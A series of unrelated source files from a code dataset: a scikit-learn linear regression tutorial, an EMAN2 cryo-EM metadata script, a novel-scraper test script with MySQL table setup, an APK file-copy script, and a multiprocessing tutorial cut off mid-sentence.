{"seq_id":"6523191970","text":"# -- encoding:utf-8 --\r\n\"\"\"\r\nCreate by ibf on 2018/8/19\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib as mpl\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.metrics import mean_squared_error\r\nfrom sklearn.externals import joblib\r\n\r\n# 设置字符集，防止中文乱码\r\nmpl.rcParams['font.sans-serif'] = [u'simHei']\r\nmpl.rcParams['axes.unicode_minus'] = False\r\n\r\n# 一、加载数据\r\npath = '../datas/household_power_consumption_201.txt'\r\npath = '../datas/household_power_consumption_1000.txt'\r\ndf = pd.read_csv(path, sep=';')\r\n# df.info()\r\n\r\n# 二、数据的清洗\r\n\"\"\"\r\n可选操作\r\n比如异常数据的处理，缺省数据的填充....\r\n\"\"\"\r\n# inplace: 该参数的作用是给定，是否是在原始的DataFrame上做替换，设置为true表示在原始DataFrame上做替换，直接修改原始的DataFrame的数据格式；默认是False\r\n# df = df.replace('?', np.nan)\r\ndf.replace('?', np.nan, inplace=True)\r\n# 删除所有具有非数字的样本\r\n# how: 指定如何删除数据，如果设置为any，默认值, 那么只要行或者列中存在nan值，那么就进行删除操作；如果设置为all，那边要求行或者列中的所有值均为nan的时候，才可以进行删除操作\r\ndf.dropna(axis=0, how='any', inplace=True)\r\n\r\n# 三、基于业务提取最原始的特征属性X和目标属性Y\r\nX = df[['Global_active_power', 'Global_reactive_power']]\r\n# X.info()\r\nY = df['Global_intensity']\r\n# print(\"原始X形状:{}， 原始Y形状:{}\".format(X.shape, Y.shape))\r\n\r\n# 四、数据的划分(将数据划分为训练集和测试集)\r\n# train_size：给定划分中的训练集占比，一般情况下，我们训练集和测试集的占比一般为8:2，如果样本比较多的时候，可以考虑7:3，如果样本比较少的时候，可以考虑9:1\r\n# test_size: 给定划分中的测试集的占比，其中train_size和test_size只能有且给定其中的一个。\r\nx_train, x_test, y_train, y_test = train_test_split(X, Y, train_size=0.8, random_state=28)\r\n# print(\"训练集样本形状:{}, 测试集样本形状:{}\".format(x_train.shape, x_test.shape))\r\n\r\n# 五、特征工程\r\n\"\"\"\r\n可选操作\r\n主要就是一些：哑编码、TF-IDF、连续数据的离散化、标准化、归一化、特征选择、降维....\r\nNOTE: 所有的特征工程其实和算法模型训练一样，特征工程的意思就是对特征属性做一个数据的转换操作，所以需要获取一个对应数据转换函数---> 需要从训练数据中训练出来\r\n\"\"\"\r\n\"\"\"\r\nNOTE:\r\nsklearn中，所有特征工程、算法模型的API基本类似，主要是以下几个API：\r\nfit: 模型/函数训练，基于给定的训练集数据，训练模型对象\r\ntransform: 使用训练好的模型对给定的数据集做一个对应的数据转换(使用训练好的函数转换数据)，一般出现在特征工程的相关的类中间\r\npredict：使用构建好的算法模型对样本数据做一个预测的操作，其实内部也就是使用训练好的函数转换特征属性到目标属性，一般出现在算法模型的相关的类中间\r\nfit_transform: 也就是fit和transform的结合，底层先使用给定的训练数据训练模型，找出对应的转换函数或者模型对象，然后使用找到的函数或者模型对训练数据做一个转换操作\r\n\"\"\"\r\n# 做一下数据的标准化操作\r\n\"\"\"\r\n实现方式一：\r\n# a. 创建标准化的对象\r\nss = StandardScaler()\r\n# b. 训练标准化的转换函数\r\nss.fit(x_train, y_train)\r\n# c. 使用训练好的标注化模型对数据做一个转换操作\r\nx_train = ss.transform(x_train)\r\nx_test = ss.transform(x_test)\r\n\r\n\"\"\"\r\n# 实现方式二：\r\n# a. 创建标准化的对象\r\nss = StandardScaler()\r\n# b. 训练标准化的转换函数并使用训练好的函数对训练数据做一个转换操作\r\nx_train = ss.fit_transform(x_train, y_train)\r\n# c. 使用训练好的标注化模型对数据做一个转换操作\r\nx_test = ss.transform(x_test)\r\n\r\n# 六、算法模型的选择/算法模型对象的构建\r\n# fit_intercept：是否训练模型的截距项，默认为True，表示训练；如果设置为False，表示不训练。\r\nalgo = LinearRegression(fit_intercept=True)\r\n\r\n# 七、算法模型的训练\r\nalgo.fit(x_train, y_train)\r\n\r\n# 7.1 查看训练好的模型参数\r\nprint(\"线性回归的各个特征属性对应的权重参数θ:{}\".format(algo.coef_))\r\nprint(\"线性回归的截距项的值:{}\".format(algo.intercept_))\r\n\r\n# 八、模型效果评估\r\ny_hat = algo.predict(x_test)\r\nprint(\"在训练集上的模型效果(回归算法中为R2):{}\".format(algo.score(x_train, y_train)))\r\nprint(\"在测试集上的模型效果(回归算法中为R2):{}\".format(algo.score(x_test, y_test)))\r\nprint(\"在测试集上的MSE的值:{}\".format(mean_squared_error(y_true=y_test, y_pred=y_hat)))\r\n# 画图看一下效果\r\nt = np.arange(len(x_test))\r\nplt.figure(facecolor='w')\r\nplt.plot(t, y_hat, 'g-', linewidth=2, label=u'预测值')\r\nplt.plot(t, y_test, 'r-', linewidth=2, label=u'真实值')\r\nplt.legend(loc='lower right')\r\nplt.title('线性回归')\r\nplt.show()\r\n\r\n# 九、模型保存\r\n\"\"\"\r\n两种保存方式：\r\n1. 直接将模型输出为二进制的磁盘文件\r\n2. 直接将预测结果y_hat输出到数据库\r\n\"\"\"\r\n# 查看python源码的API说明的方式：键盘按着ctrl键，鼠标放到需要查看的API上面，然后左键点击，进入源码即可查看\r\njoblib.dump(ss, './model/ss.pkl')\r\njoblib.dump(algo, './model/lr.pkl')\r\n\r\n","repo_name":"www2171668/Python","sub_path":"2-机器学习/2-线性回归/sklearn09/0819/使用sklearn实现模型的训练.py","file_name":"使用sklearn实现模型的训练.py","file_ext":"py","file_size_in_byte":5629,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"72903054863","text":"#!/usr/bin/env python\n# Muyuan Chen 2022-08\nfrom EMAN2 import *\nimport numpy as np\nimport scipy.spatial.distance as scipydist\nfrom scipy.optimize import minimize\n\ndef gather_metadata(options):\n\tinfo3d=[]\n\tinfo2d=[]\n\tdata=load_lst_params(options.ptcls)\n\t\n\tif options.exclude:\n\t\tdata2=[]\n\t\tprint(\"exclude particles around {}\".format(options.exclude))\n\t\texl=load_lst_params(options.exclude)\n\t\te1=EMData(options.ptcls,0, True)\n\t\te2=EMData(options.exclude,0, True)\n\t\tscale2=e2[\"apix_x\"]/e1[\"apix_x\"]\n\t\tprint(f\"{len(exl)} particles, scale by {scale2:.2f}\")\n\t\n\t\tfnames=np.unique([i[\"src\"] for i in data])\n\t\tfnames=[base_name(f) for f in fnames]\n\t\t\n\t\tfor fname in fnames:\n\t\t\ti3d1=[i for i in data if base_name(i[\"src\"])==fname]\n\t\t\tn0=len(i3d1)\n\t\t\tpos1=[EMData(i[\"src\"], i[\"idx\"], True) for i in i3d1]\n\t\t\tpos1=np.array([p[\"ptcl_source_coord\"] for p in pos1])\n\t\t\t\n\t\t\ti3d2=[i for i in exl if base_name(i[\"src\"])==fname]\n\t\t\tpos2=[EMData(i[\"src\"], i[\"idx\"], True) for i in i3d2]\n\t\t\tpos2=np.array([p[\"ptcl_source_coord\"] for p in pos2])*scale2\n\t\t\tdst=scipydist.cdist(pos1,pos2)\n\t\t\ttorm=np.argmin(dst, axis=0)\n\t\t\ti3d1=[i3 for i,i3 in enumerate(i3d1) if i not in torm]\n\t\t\tprint(\"  excluding {} out of {} 3d particles. Average distnace {:.1f} px\".format(n0-len(i3d1), n0, np.mean(np.min(dst, axis=0))))\n\t\t\tdata2.extend(i3d1)\n\t\t\t\n\t\tprint(\"total {} out of {} particles excluded\".format(len(data)-len(data2), len(data)))\n\t\tdata=data2\n\t\t\n\tif \"xform.align3d\" in data[0]:\n\t\tprint(\"Using 3d alignment from the input lst instead of image header.\")\n\t\txflst=True\n\telse:\n\t\txflst=False\n\t\t\n\tfor ii,dt in enumerate(data):\n\t\timg=EMData(dt[\"src\"], dt[\"idx\"], True)\n\t\timgsrc=img[\"class_ptcl_src\"]\n\t\timgidx=img[\"class_ptcl_idxs\"]\n\n\t\ttry: rhdrs=EMData.read_images(imgsrc,imgidx,IMAGE_UNKNOWN,True)\n\t\texcept:\n\t\t\tprint(f\"couldn't read {imgidx} from {imgsrc}\")\n\t\t\treturn\n\n\t\tidx2d=[]\n\t\tfor k,i in enumerate(imgidx): \n\t\t\te=rhdrs[k]\n\t\t\tdc={\"src\":imgsrc,\"idx\":i,\n\t\t\t\t\"idx3d\":ii, \"xform.projection\":e[\"xform.projection\"], \"tilt_id\":e[\"tilt_id\"]}\n\t\t\tidx2d.append(len(info2d))\n\t\t\tinfo2d.append(dc)\n\t\t\n\t\tif xflst:\n\t\t\txfali=dt[\"xform.align3d\"]\n\t\telse:\n\t\t\txfali=img[\"xform.align3d\"]\n\t\t\n\t\tif img.has_attr(\"orig_class\"):\n\t\t\tcls=img[\"orig_class\"]\n\t\telse:\n\t\t\tcls=ii%2\n\t\tdc={\"src\":dt[\"src\"], \"idx\":dt[\"idx\"],\n\t\t\t\"coord\":img[\"ptcl_source_coord\"], \"idx2d\":idx2d,\n\t\t\t\"class\":cls, \"xform.align3d\":xfali\n\t\t}\n\n\t\tinfo3d.append(dc)\n\n\t\tsys.stdout.write(\"\\r {}/{}\".format(ii+1, len(data)))\n\t\tsys.stdout.flush()\n\tprint()\n\treturn info2d, info3d\n\ndef main():\n\t\n\tusage=\"\"\"\n\tGather metadata for spt refinement. Take into account the pre-determined particle orientation in particle header (generated using e2spt_extract.py with the --jsonali option), and interpolate the 2D subtilt movement from the existing subtilt alignment of any particles from the same tomograms. For example, \n\t\n\te2spt_gathermeta.py --ptcls sets/ptcls.lst --ali2d spt_00/aliptcls2d_07.lst \n\t\n\twill compile metadata in a new spt_xx directory. To do spt refinement from it, run\n\t\n\te2spt_refine_new.py --path spt_xx --continuefrom 0.5 --localrefine\n\t\n\twith all other desired options for e2spt_refine_new.py\n\t\"\"\"\n\tparser = EMArgumentParser(usage=usage,version=EMANVERSION)\n\tparser.add_argument(\"--ptcls\", type=str,help=\"input 3d particles from sets/\", default=None)\n\tparser.add_argument(\"--ali2d\", type=str,help=\"existing aligned 2d particles from spt_xx, used to interpolate local subtilt translation\", default=None)\n\tparser.add_argument(\"--ali3d\", action=\"store_true\", default=False, help=\"use align3d from the list in place of the info from --ptcls header.\")\n\tparser.add_argument(\"--exclude\", type=str,help=\"exclude particle around a given set of existing particles\", default=None)\n\tparser.add_argument(\"--path\", type=str,help=\"new refinement path\", default=None)\n\tparser.add_argument(\"--smooth\", type=float,help=\"factor to smooth the movement field from the --ali2d refinement. Bigger is smoother, default is 10\", default=10)\n\tparser.add_argument(\"--userot\", action=\"store_true\", default=False, help=\"use rotational subtilt alignment as well. very slow and may not be as useful..\")\n\tparser.add_argument(\"--skipcheck\", action=\"store_true\", default=False, help=\"skip the sanity check...\")\n\n\t(options, args) = parser.parse_args()\n\t\n\tlogid=E2init(sys.argv)\n\t\n\tif options.path==None: options.path=num_path_new(\"spt_\")\n\tprint(\"Writing in {}\".format(options.path))\n\t\n\tprint(\"Gather metadata from {}\".format(options.ptcls))\n\tinfo2d1, info3d1 = gather_metadata(options)\n\tprint(\"Total {} 3d particles and {} 2d particles\".format(len(info3d1), len(info2d1)))\n\t\n\tfali2d=options.ali2d\n\tpath0=os.path.dirname(fali2d)\n\tp=fali2d.rfind('.')\n\titr=int(fali2d[p-2:p])\n\tfali3d=[f\"{path0}/aliptcls3d_{i:02d}.lst\" for i in range(itr)]\n\tfali3d=[f for f in fali3d if os.path.isfile(f)]\n\tfali3d=fali3d[-1]\n\tfinfo3=f\"{path0}/particle_info_3d.lst\"\n\tprint(\"Reading previous alignment\")\n\tprint(f\"Loading particle info from {finfo3}\")\n\tprint(f\"        3d alignment from {fali3d}\")\n\tprint(f\"        2d alignment from {fali2d}\")\n\tinfo3d0=load_lst_params(finfo3)\n\tali2d0=load_lst_params(fali2d)\n\tali3d0=load_lst_params(fali3d)\n\tmissing=False\n\tfor a in ali2d0:\n\t\tif \"dxf\" not in a:\n\t\t\ta[\"dxf\"]=Transform()\n\t\t\tmissing=True\n\tif missing: print(f\"Some particles from {fali2d} do not contain subtilt alignment info...\")\n\t\n\toptions.cmd=' '.join(sys.argv)\n\tfm=f\"{options.path}/0_spt_gathermeta_params.json\"\n\tjs=js_open_dict(fm)\n\tjs.update(vars(options))\n\tjs.close()\n\t\n\te0=EMData(info3d0[0][\"src\"], info3d0[0][\"idx\"], True)\n\te1=EMData(info3d1[0][\"src\"], info3d1[0][\"idx\"], True)\n\tscale=e1[\"apix_x\"]/e0[\"apix_x\"]\n\tprint(f\"Scale from old to new alignment {scale:.3f}\")\n\n\tif not options.skipcheck:\n\t\tprint(\"Sanity check on one tomogram\")\n\t\tfname=base_name(info3d0[0][\"src\"])\n\t\ti3d0=[i for i in info3d0 if base_name(i[\"src\"])==fname]\n\t\ti3d1=[i for i in info3d1 if base_name(i[\"src\"])==fname]\n\t\tpos0=np.array([i[\"coord\"] for i in i3d0])\n\t\tpos1=np.array([i[\"coord\"] for i in i3d1])\n\t\tpos1*=scale\n\t\ttid=10\n\t\tprint(f\"tomogram {fname}, tilt id {tid}\")\n\t\ta2d0=[i for i in ali2d0 if base_name(i[\"src\"])==fname]\n\t\tv0=np.array([a[\"dxf\"].get_trans() for a in a2d0 if a[\"tilt_id\"]==tid])\n\t\tdst=scipydist.cdist(pos0,pos1)\n\t\tprint(f\"{len(pos0)} particles from old refinement, {len(v0)} movement trajectories, {len(pos1)} particles from new refinement\")\n\t\tprint(\"mean neighbor distance between particles from two refinement: {:.4f}\".format(np.mean(np.min(dst, axis=0))))\n\t\tdst=np.exp(-dst/options.smooth)\n\t\tdst=dst/np.sum(dst,axis=0)\n\t\tv1=np.matmul(v0.T,dst).T\n\t\tprint(\"mean subtilt translation {:.4f} from old refinement\".format(np.mean(np.linalg.norm(v0, axis=1))))\n\t\tprint(\"mean subtilt translation {:.4f} from new refinement\".format(np.mean(np.linalg.norm(v1, axis=1))))\n\t\n\tali3d1=[]\n\tfor a in info3d1:\n\t\tdc={\"src\":a[\"src\"],\"idx\":a[\"idx\"],\"xform.align3d\":a[\"xform.align3d\"]}\n\t\tif \"class\" in a:\n\t\t\tdc[\"class\"]=a[\"class\"]\n\t\t\t\n\t\tali3d1.append(dc)\n\t\t\t\n\tali2d1=[]\n\tfor a in info2d1:\n\t\t\n\t\tdc2={\"src\":a[\"src\"],\"idx\":a[\"idx\"],\n\t\t\t\"ptcl3d_id\":a[\"idx3d\"],\n\t\t\t\"tilt_id\":a[\"tilt_id\"],\n\t\t\t\"score\":0,\n\t\t\t\"dxf\":Transform()}\n\t\t\n\t\ti3=info3d1[a[\"idx3d\"]]\n\t\tif \"class\" in i3:\n\t\t\tdc2[\"class\"]=i3[\"class\"]\n\t\telse:\n\t\t\tdc2[\"class\"]=a[\"idx3d\"]%2\n\t\t\t\n\t\tali2d1.append(dc2)\n\t\t\n\t\t\n\tnnb=15\n\tdef test_rot(x):\n\t\txfr=Transform({\"type\":\"xyz\",\"xtilt\":x[0],\"ytilt\":x[1],\"ztilt\":x[2]}).inverse()\n\t\tdrspin=[(a*xfr).get_params(\"spin\")[\"omega\"] for a in dr]\n\t\tscr=np.dot(drspin, ds)\n\t\treturn scr\n\t\n\tprint(\"Compute subtilt translation for new refinement\")\n\tfnames=np.unique([i[\"src\"] for i in info3d1])\n\tfnames=[base_name(f) for f in fnames]\n\t\t\n\tfor fname in fnames:\n\t\t# i2d1=[i for i in info2d1 if base_name(i[\"src\"])==fname]\n\t\ti3d1=[i for i in info3d1 if base_name(i[\"src\"])==fname]\n\t\ti3d0=[i for i in info3d0 if base_name(i[\"src\"])==fname]\n\t\tprint(fname, len(i3d0), len(i3d1))\n\t\tif len(i3d0)==0 or len(i3d1)==0:\n\t\t\tprint(\"no particles in this tomogram. skip...\")\n\t\t\tcontinue\n\t\t\n\t\ta2d0=[[ali2d0[i] for i in i3[\"idx2d\"]] for i3 in i3d0]\n\t\ti2d1=[[info2d1[i] for i in i3[\"idx2d\"]] for i3 in i3d1]\n\t\ta2d1=[[ali2d1[i] for i in i3[\"idx2d\"]] for i3 in i3d1]\n\t\t\n\t\ttxfs=[d[\"xform.align3d\"].inverse() for d in i3d1]\n\t\t\n\t\tpos0=np.array([i[\"coord\"] for i in i3d0])\n\t\tpos1=np.array([i[\"coord\"] for i in i3d1])*scale\n\t\t\n\t\ttids=[a[\"tilt_id\"] for a1 in i2d1 for a in a1]\n\t\tfor tid in sorted(np.unique(tids)):\n\t\t\tad0=[a for a2 in a2d0 for a in a2 if a[\"tilt_id\"]==tid]\n\t\t\tif1=[a for a1 in i2d1 for a in a1 if a[\"tilt_id\"]==tid]\n\t\t\tad1=[a for a1 in a2d1 for a in a1 if a[\"tilt_id\"]==tid]\n\t\t\tv0=np.array([a[\"dxf\"].get_trans() for a in ad0])\n\t\t\ti0=[tid in [a[\"tilt_id\"] for a in a2] for a2 in a2d0 ]\n\t\t\tp0=pos0[i0]\n\t\t\ti1=[tid in [a[\"tilt_id\"] for a in a1] for a1 in a2d1 ]\n\t\t\tp1=pos1[i1]\n\t\t\tif len(v0)!=len(p0):\n\t\t\t\tprint(f\"skip tilt {tid} from tomogram {fname}\")\n\t\t\t\tcontinue\n\t\t\t\t\n\t\t\tdst=scipydist.cdist(p0,p1)\n\t\t\tdst=np.exp(-dst/options.smooth)\n\t\t\tdst=dst/np.sum(dst,axis=0)\n\t\t\tv1=np.matmul(v0.T,dst).T\n\t\t\tv1/=scale\n\t\t\t\n\t\t\tscr=np.array([a[\"score\"] for a in ad0])\n\t\t\tscr=np.dot(scr, dst)\n        \n\t\t\tif options.userot:\n\t\t\t\trts=[]\n\t\t\t\tfor ip in range(len(ad1)):\n\t\t\t\t\tnid=np.argsort(-dst[:,ip])[:nnb]\n\t\t\t\t\tds=dst[nid, ip].copy()\n\t\t\t\t\tds/=np.sum(ds)\n\t\t\t\t\tdr=[Transform(ad0[i][\"dxf\"].get_rotation()) for i in nid]\n\t\t\t\t\tx0=[0,0,0]\n\t\t\t\t\tres=minimize(test_rot, x0,\n\t\t\t\t\t\t\tmethod='Powell',options={'ftol': 1e-3, 'disp': False, \"maxiter\":5})\n\t\t\t\t\trts.append(res.x)\n\t\t\t\trts=np.array(rts)\n\t\t\telse:\n\t\t\t\trts=np.zeros((len(ad1),  3))\n        \n\t\t\txfpj=[a[\"xform.projection\"] for a in if1]\n\t\t\txfraw=[a*b for a,b in zip(xfpj, txfs)]\n\n\t\t\tdxf=[Transform({\"type\":\"xyz\",\"xtilt\":x[0],\"ytilt\":x[1],\"ztilt\":x[2],\"tx\":v[0], \"ty\":v[1]}) for x,v in zip(rts,v1)]\n\t\t\txfali=[d*x for x, d in zip(xfraw, dxf)]\n\t\t\t\n\t\t\tfor i,a in enumerate(ad1):\n\t\t\t\ta[\"dxf\"]=dxf[i]\n\t\t\t\ta[\"xform.projection\"]=xfali[i]\n\t\t\t\ta[\"score\"]=float(scr[i])\n\t\t\t\t\n\t\t\t\t\n\tsave_lst_params(ali3d1, \"{}/aliptcls3d_01.lst\".format(options.path))\n\tsave_lst_params(ali2d1, \"{}/aliptcls2d_01.lst\".format(options.path))\n\tsave_lst_params(info2d1, \"{}/particle_info_2d.lst\".format(options.path))\n\tsave_lst_params(info3d1, \"{}/particle_info_3d.lst\".format(options.path))\n\t\n\t#if options.lstin:\n\t\t#lst0=load_lst_params(options.lstin)\n\t\t#key0=[\"{}_{:04d}\".format(l[\"src\"], l[\"idx\"]) for l in lst0]\n\t\t#dic0={k:i for i,k in enumerate(key0)}\n\t#lst1=load_lst_params(options.ptcls)\n\t\n\t#lout3d=[]\n\t#lout2d=[]\n\t#info3d=[]\n\t#info2d=[]\n\t\"\"\"\n\tndxf=0\n\tfor li,l in enumerate(lst1):\n\t\te=EMData(l[\"src\"], l[\"idx\"], True)\n\t\tky=\"{}_{:04d}\".format(e[\"orig_ptcl\"], e[\"orig_idx\"])\n\t\t\n\t\tif options.lstin:\n\t\t\tii=dic0[ky]\n\t\t\tl0=lst0[ii]\n\t\t\tscr=l0[\"score\"]\n\t\t\tif \"orig_idx\" in l0:\n\t\t\t\tii=l0[\"orig_idx\"]\n\t\telse:\n\t\t\tscr=1\n\t\t\tii=li\n\t\t\t\n\t\tif \"xform.align3d\" in l:\n\t\t\txf3d=l[\"xform.align3d\"]\n\t\telse:\n\t\t\txf3d=e[\"xform.align3d\"]\n\n\t\tdc3={\"src\":l[\"src\"], \"idx\":l[\"idx\"], \n\t\t\t\"score\":scr, \"xform.align3d\":xf3d,\n\t\t\t\"orig_idx\":ii}\n\t\tlout3d.append(dc3)\n\n\t\timgsrc=e[\"class_ptcl_src\"]\n\t\timgidx=e[\"class_ptcl_idxs\"]\n\t\tcoord=e[\"ptcl_source_coord\"]\n\t\tboxsz=e[\"nx\"]\n\t\t\n\t\trhdrs=EMData.read_images(imgsrc,imgidx,IMAGE_UNKNOWN,True)\n\t\tidx2d=[]\n\t\tfor k,i in enumerate(imgidx): \n\t\t\th=rhdrs[k]\n\t\t\txf=Transform(h[\"xform.projection\"])\n\t\t\txf=xf*(xf3d.inverse())\n\t\t\tdc2={\"src\":imgsrc,\"idx\":i, \"class\":ii%2,\n\t\t\t\t\"ptcl3d_id\":li, \"xform.projection\":xf,\n\t\t\t\t\"tilt_id\":h[\"tilt_id\"]}\n\t\t\tif h.has_attr(\"orig_dxf\"):\n\t\t\t\tdc2[\"dxf\"]=h[\"orig_dxf\"]\n\t\t\t\tndxf+=1\n\t\t\telse:\n\t\t\t\tdc2[\"dxf\"]=Transform()\n\t\t\t\t\n\t\t\tdc={\"src\":imgsrc,\"idx\":i,\n\t\t\t\t\"idx3d\":li,\n\t\t\t\t\"xform.projection\":Transform(h[\"xform.projection\"]), \"tilt_id\":h[\"tilt_id\"]}\n\t\t\t\n\t\t\tidx2d.append(len(lout2d))\n\t\t\tlout2d.append(dc2)\n\t\t\tinfo2d.append(dc)\n\t\t\t\t\n\t\tdc={\"src\":l[\"src\"], \"idx\":l[\"idx\"],\n\t\t\t\"coord\":coord, \"idx2d\":idx2d, \"xform.align3d\":xf3d}\n\t\tinfo3d.append(dc)\n\t\t\n\t\tsys.stdout.write(\"\\r {}/{}\".format(li+1, len(lst1)))\n\t\tsys.stdout.flush()\n\t\t\n\tif options.make3d:\n\t\tfor eo in [\"even\", \"odd\"]:\n\t\t\trun(f\"e2spa_make3d.py --input {options.path}/aliptcls2d_01.lst --output {options.path}/threed_00_{eo}.hdf --clsid {eo} --parallel thread:32\")\n\t\t\n\t\"\"\"\n\t\n\tE2end(logid)\n\n\t\nif __name__ == '__main__':\n\tmain()\n\t\n","repo_name":"cryoem/eman2","sub_path":"programs/e2spt_gathermeta.py","file_name":"e2spt_gathermeta.py","file_ext":"py","file_size_in_byte":12007,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"47"}
{"seq_id":"6735177358","text":"import requests,time,urllib3,random,pymysql\nfrom lxml import etree\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# num=0\n# while num <10:\n#     try:\n#         a=requests.get('http://www.biquge.info/').content.decode()\n#         b=etree.HTML(a)\n#         c=b.xpath('//div[@class=\"l\"]//span[@class=\"s2\"]/a/@href')\n#         for url in c:\n#             a1=requests.get(url).content.decode()\n#             b1=etree.HTML(a1)\n#             url_list=b1.xpath('//div[@id=\"list\"]//a/@href')\n#             if len(url_list)<1:\n#                 open('ceshi.txt','a',encoding='utf-8').write(url+'\\n')\n#                 continue\n#             for url1 in url_list:\n#                 cha_url=url+url1\n#                 a2=requests.get(cha_url)\n#                 if a2.status_code == 200:print(cha_url,'获取成功')\n#                 else:open('ceshi.txt','a',encoding='utf-8').write(cha_url+'\\n')\n#     except Exception as e:\n#         open('ceshi.txt', 'a', encoding='utf-8').write(str(e) + '\\n')\n#         continue\n#     num+=1\n\n#------------------------------------------------------------------------------------\n# s_t=time.time()\n\n# for num in range(2,9):\n#     url = 'https://www.qb5.tw/list/{}.html'.format(num)\n#     try:\n#         a=requests.get(url).content.decode('gbk')\n#         b=etree.HTML(a)\n#         c=b.xpath('//div[@id=\"tlist\"]//div[@class=\"zp\"]/a/@href')\n#         for url in c[0:16]:\n#             print(url)\n#             open('ceshi_qb5.txt','a').write(url+'\\n')\n#         # for url in c:\n#         #     a1=requests.get('https://www.booktxt.com'+url).content.decode('gbk')\n#         #     b1=etree.HTML(a1)\n#         #     #print(a1)\n#         #     url_list=b1.xpath('//div[@id=\"list\"]//a/@href')\n#         #     if len(url_list)<1:\n#         #         open('ceshi.txt','a',encoding='utf-8').write(url+'\\n')\n#         #         continue\n#         #     for url1 in url_list:\n#         #         cha_url='https://www.booktxt.com'+url1\n#         #         a2=requests.get(cha_url)\n#         #         if a2.status_code == 200:print(cha_url,'获取成功')\n#         #         else:open('ceshi.txt','a',encoding='utf-8').write(cha_url+'  状态码: '+str(a2.status_code)+'\\n')\n#         #         print('运行:',(time.time()-s_t)/60,'分钟')\n#     except Exception as e:\n#         open('ceshi.txt', 'a', encoding='utf-8').write(str(e) + '\\n')\n#         continue\n#     num+=1\n# e_t=time.time()\n# when_time=(e_t-s_t) / 60\n# open('ceshi.txt','a',encoding='utf-8').write(str(float('%.2f' %when_time))+'\\n')\n#-------随机排序URL-----------------------------------------------------------------\nurl_txt_name=\"热门小说8.18.txt\"\ndef url_num():\n    f = open(url_txt_name,'r').readlines()\n    random.shuffle(f)\n    q=open('add_hot_novel0818.txt', 'w', encoding='utf-8')\n    for u in f:\n      q.write(u)\n#url_num()\n\n#------------------------------------------------------\nfrom config import sql_config\nsql_date = sql_config()\nconn = pymysql.Connect(\n            host=sql_date[\"host\"],\n            port=sql_date[\"port\"],\n            #数据库名：\n            db=sql_date[\"db\"],\n            user=sql_date[\"user\"],\n            passwd=sql_date[\"passwd\"],\n            charset=sql_date[\"charset\"])\ncur = conn.cursor()\n\n\nfind_tables=\"show tables from {}\".format(sql_date[\"db\"])\ncur.execute(find_tables)\n\nsource_dbname='b_source_list_6'\n# for db_name in cur.fetchall():\n#     if source_dbname in db_name[0]:\n#         pass\n#     else:\nadd_source_db='''\nCREATE TABLE IF NOT EXISTS `{}`  (\n  `id` char(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL,\n  `chapter_num` int(10) UNSIGNED NOT NULL DEFAULT 0 COMMENT \\'章节数\\',\n  `chapter_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT \\'章节名\\',\n  `chapter_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT \\'章节链接\\',\n  `source_id` int(10) UNSIGNED NOT NULL COMMENT \\'换源ID\\',\n  PRIMARY KEY (`id`) USING BTREE,\n  INDEX `source_id`(`source_id`) USING BTREE,\n  INDEX `chapter_num`(`chapter_num`) USING BTREE\n) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = \\'换源章节表\\' ROW_FORMAT = Dynamic;\n'''.format(source_dbname)\ncur.execute(add_source_db)\nconn.commit()\n\n\n","repo_name":"hl1227/spider_novel","sub_path":"ceshi.py","file_name":"ceshi.py","file_ext":"py","file_size_in_byte":4272,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"38956333754","text":"import os\nimport shutil\n\n\ninput_root = 'F:/research/data/apk/'\noutput_dir = 'F:/research/data/apk_simple_name/'\noutput_error_dir = 'F:/research/data/apk_simple_name/error/'\nfinish_count = 0\ntotal_count = len(os.listdir(input_root))\ntry:\n    for filename in os.listdir(input_root):\n        simple_filename = filename.split('`')[0] + '.apk'\n        shutil.copy(os.path.join(input_root, filename), os.path.join(output_dir, simple_filename))\n        finish_count += 1\n        print('{:.2%}'.format(finish_count / total_count))\nexcept:\n    print(filename + ' error!')\n    shutil.copy(os.path.join(input_root, filename), os.path.join(output_error_dir, filename))","repo_name":"ypx0352/minor_thesis","sub_path":"permission-py/copy_file.py","file_name":"copy_file.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"74211766222","text":"# coding=utf-8\n__author__ = \"Jianguo Jin (jinjianguosky@hotmail.com)\"\n\n# !/usr/bin/python3\n# -*- coding:utf-8 -*-  \n# Created by Jianguo on 2017/7/24\n\"\"\"\n    Description:\n        8.2.4 、g multiprocessing  模块\nmultiprocessing 使用类似于 threading 模块的 API ，multiprocessing 提供了本地和远程的并发性，有\n效的通过全局解释锁(Global Interceptor Lock, GIL)来使用进程(而不是线程)。由于 GIL 的存在，在 CPU 密\n集型的程序当中，使用多线程并不能有效地利用多核 CPU 的优势，因为一个解释器在同一时刻只会有一\n个线程在执行。所以，multiprocessing 模块可以充分的利用硬件的多处理器来进行工作。它支持 Unix 和\nWindows 系统上的运行。\nprocess1.py\n\"\"\"\nfrom multiprocessing import Process\n\n\ndef f(name):\n    print('hello', name)\n\n\nif __name__ == '__main__':\n    p = Process(target=f, args=('bob',))\n    p.start()\n    p.join()\n\"\"\"\n与 threading.Thread 类似，它可以利用 multiprocessing.Process 对象来创建一个进程。Process 对象与\nThread 对象的用法相同，也有 start(), run(), join()的方法。\nmultiprocessing.Process(group=None, target=None, name=None, args=(), kwargs={})\ntarget 表示调用对象，args 表示调用对象的位置参数元组。kwargs 表示调用对象的字典。Name 为别名。\nGroup 